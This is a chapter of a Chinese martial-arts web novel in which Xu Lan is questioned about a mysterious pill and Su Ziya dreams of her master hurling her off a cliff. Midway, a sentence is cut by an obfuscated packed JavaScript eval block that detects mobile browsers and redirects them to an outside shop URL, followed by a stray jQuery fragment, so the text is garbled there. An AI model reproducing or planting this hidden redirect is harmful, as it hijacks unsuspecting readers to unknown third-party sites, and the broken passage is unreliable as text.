“堂主,究竟有什么事呀?”
许兰环顾着自己身周的几人,其中包括肖杰,还有晚上在一位出岫境高手攻击下保护住她的孟姑娘、陈公子,自然也有长生堂的堂主罗甘松,最终还是将求助的目光投向了与她相识最久的堂主身上。
罗甘松皱着眉,叹了口气,眼神示意肖杰先离开。
“……不,我不走!”肖杰坚决地说道,随后看向孟姑娘和陈公子,紧紧地拉住许兰,表示支持,“这肯定是有什么误会!说不定……”
说不定就是这两个突然出现的家伙,还有那个敢欺负小兰的学徒做的!他本来想这么说,可是回忆起被孟陈说中的危险,看到陈公子手指上缠绕的纱布,又将这句话给咽了下去。
“你这孩子……”罗堂主显然是拿小肖没什么办法,若是有办法,或者能狠下心来,小肖也就没有机会在许兰昏迷时从始至终地陪伴了,只得警告道,“行吧,一会儿你要是乱说话,我只能将你请出去了。”
在小肖用力点头时,他摸了摸胡子,和苏子牙对完眼神,随后温和问道:“小兰,你知道这两天发生的事情吗?”
“……这两天?”许兰显得不明所以,但还是认真思索才答道,“这两天我一直在准备后日的考核……我听小肖说我在房间里晕倒了,还差点死掉,要是没有您,我恐怕真的没救了!”
她后面的感谢话三位大人均没有听,而是齐齐将目光转向肖杰。肖杰被吓到,感觉自己好像做了错事,低声辩解着:“……不就是这样嘛。”
“我,我醒来就在病房里,还有坏人在长生堂,我实在不明白,就问小肖来着。这,不能说吗?我是得什么病了吗?”许兰连忙说话,试图转移几人的关注。
“你晕倒的时候是上工时间吧,你在房间里做什么?”罗甘松搞不懂许兰是真的什么都不知道,还是在装傻,他感觉自己从前好像一直小瞧了这个姑娘。
“回去拿笔记?或者换衣服吧?”许兰不太确定的样子,“我感觉好像很多事都有点模糊了。”
“……这个是在你床边发现的,小兰,你可以解释一下吗?”罗甘松掏出那个手指长的瓷瓶展示给她看,“你有吃过这个药丸吗?”
“……我……”许兰用不可置信地目光望着罗堂主,半天才憋出一句,“……是她们说的,对吧。她们说我吃了,您就认为我吃了?我……还能说什么。”
“罗堂主,其实,想确认很简单。”苏子牙知道罗甘松不甚了解内情,又有一层许先生的关系,难免考虑不到某些事情,这样问下去也不会有结果。
于是在对方疑惑的目光里,她平淡地说道:“收好这个瓷瓶,把小兰姑娘关起来,看她会不会晕倒第二次,会不会再次‘病危’。”
“……什……”这回屋内除了陈公子,旁人都发出了相似的声音。
罗甘松刹那愣住,但很快就觉得孟姑娘的提议很有道理。既然是在其他学徒拿走瓷瓶后才有的许兰晕倒,那如此将二者联系起来倒也合理。
在用此药丸救下许兰,又经历了贼人偷袭长生堂之事后,罗堂主就对孟陈二人的判断信了大半,只可惜事务繁多,这二人又讳莫如深,让他还没有机会细问。
虽然疑惑,但余光瞥见先前一直神情自若的许兰眼珠乱转,手紧紧攥着衣角,他也就了然起来,温声附和道:“唉……实在不行也只能如此了,可也不能只关小兰。不妨将所有可能的接触到的人都关一关,毕竟这药丸危险,得尽早确认谁才是服用者才好。”
“还是堂主您考虑的周到。”苏子牙对罗甘松的配合感到意外,不过顺着他的话头,望着小兰说,“抱歉,倒是我先入为主了。”
许兰回以礼貌的微笑,像是接受了对方的歉意,但那笑容里难免夹杂着些许僵硬。
“……堂主,您在说什么呢?”在场大多数人已经心照不宣,倒是肖杰是个彻彻底底的局外人。他察觉许兰的异样,只觉胸口发凉,但仍存着些许希冀般向罗甘松求证道。
可这次罗堂主没有理会小肖的话语,而是向他投去一个他看不懂的眼神,叹着气对苏唐两人说道:“还要麻烦二位费心守着小兰,以防那些人又来抓人……”
“小肖!”僵硬半晌了许兰终于开口,“我想喝热茶,你,你能帮我去泡吗?”
“啊?现,现在吗?”肖杰下意识瞧了眼天色,银月高挂,夜空晴朗,属实不是个适合喝茶的时间点。但待他移回目光,已经明白了对方的真正意思,心飞快地沉到最底,闷闷地答应一声,在门口最后望了一眼许兰,转头跑开了。
果然先前是在装傻,盘算着如何搪塞过去吧。苏子牙见许兰深吸一口气,神色渐渐平静下来,如此猜测着。
而许兰也在观察这个很得罗甘松信任,并似乎对那个药丸有所了解的孟姑娘,半晌后主动道:“之前过来的出岫境是……因我而来?为什么要抓我?”
“不如你先说说这个药的事情?我们再谈今晚的事。”苏子牙和罗甘松确认了眼神,前者开口道。
“……就是一个可以强身健体的的丸药而已。”许兰不敢看罗堂主,而是对苏子牙道,“我还在南市乞讨的时候有好心的医者给我的,后来我就一直在吃。只要我进了南市,手里拿着钱走上一圈,绝对会有人于人群中神不知鬼不觉地给我瓷瓶,并且将钱取走。”
“看样子这个药是有效果的,你没想过不再花钱买了?”苏子牙打量着许兰,先前因病猛然消瘦的脸庞下已经开始透出健康的粉红,“你应该也不宽裕吧。”
“……我试过,但……就会变得极其虚弱,我不敢不继续吃……那天我到处翻找都没找到瓷瓶,我还从来没有晚吃如此长的时间,后面你们就都知道了……”许兰抿着唇,回忆起那天还是有些心有余悸,“至于钱……我有一次没攒够,本想和对方商量赊账之事,结果他好像根本没点数,还是塞给了我药……”
罗甘松在一旁听的眼皮直跳,火气和失望憋在心口无处发泄,此时出言打断道:“小兰,如此天上掉馅饼的好事你难道就没怀疑过?”
“堂主,我哪里敢怀疑。”小兰挤出一个笑容,“第一次吃药前我已经快病死了,如果没有它,我根本等不到许先生,也就不会有今天的我……”
还有不愿意怀疑吧,苏子牙于心中补充道,随后目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731041|208958||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
光落在许兰的鼻子上,默默道:她在嗅觉上的天赋肯定也是因此药而来,就和梦中的云香一样。
想到此处,她不禁瞥了许久未曾开口的唐朔一眼。
*
唐朔……苏子牙的手在灵玄真人释放的内力威压下轻轻颤抖,心思却是跑到了另一人身上。她知道曲当歌一定在怀疑是唐朔在告密,因为他们两人绝对没有碰到任何机关,除了唐朔还能有谁知道他们的行踪。
但在怀疑的同时,还有一个念头没有让苏子牙彻底迷失在怀疑的风暴里——他不可能这么做!他不是这样的人!
“师父,我们就是好奇,才想上来看看的。”曲当歌笑着道,殊不知只是表面镇定,立于他斜后方的苏子牙能够瞧见其后背已经汗湿一片,“谁这么多管闲事,还劳您大驾。”
仅听他所说,活像只是做错了件小事,却被人夸大一百倍告密的模样。
“唉,你们两个孩子……”
灵玄真人背着手,神情柔和慈爱,可他身周的内力依旧在山林间掀起大风,丝毫没有停歇的意思。
“……真叫为师失望……”他如是说着,边说边微微摇头,像是个被被顽劣孩子伤透了心的老父亲。
苏曲二人听罢,肩膀俱是颤了一下,几乎同时向后退了半步。
而灵玄真人见状面上更是温柔,缓缓抬手,招呼道:“先叫为师看看,有没有哪里受伤。”
“跑!”曲当歌再也不维持那乖徒弟的样子,从喉咙里挤出这么一句,脚下一踏,身体朝后飞去,同时抬枪便挡。
内力被催发到极致,苏子牙几乎是用尽毕生的力量在逃跑,可仿佛像是在暴风雪中逆风而行一般,仍然是举步维艰。
不,已经不是举步维艰了!风力陡然加强,将二人朝着他们最不愿去的方向送去。
“没受伤便好。”灵玄微笑点头,双手抓着他两个徒弟的肩膀,在旁人看来别提多和谐的景象,只有当事人才知,肩头好似有一只铁钳,叫二人动弹不得,体内更是被外来的内力席卷一番,各个大穴都被制住。
不顾他们的痛苦和抗拒,灵玄真人几乎毫不费力地带着二人到了山顶崖边。
山风凛冽,吹不散一层轻纱似的白雾。
他轻轻一抛,将两个身体结实的少年像布娃娃似的朝山下丢去,一左一右。
苏子牙唇舌麻木,半个字也吐不出来,身体无法控制的下坠,坠入一片黑暗。
她猛地睁眼,却被光亮刺得几乎流泪。固执地放任疼痛继续,苏子牙眯眼环顾一周,发现自己还在长生堂,眼前是许兰的床,床上的姑娘睡得正香。
从椅子上冲向窗户钱,窗外天边泛起温润的白,轻柔的风夹带着隔壁饭店早餐的油香,苏子牙混乱的呼吸终于渐渐平复。
低头望去,长生堂的院子里正巧迈入一人,一手还拎着个食盒,另一手手抱着大大的油纸包,依稀能见里面金黄的油条与雪白的包子。
似乎注意到高处的视线,他抬眼望来,面罩还没摘下,打扮简直与那一兜子早餐完全不搭。
这家伙……苏子牙觉得好玩又有些无奈,不禁笑了一下。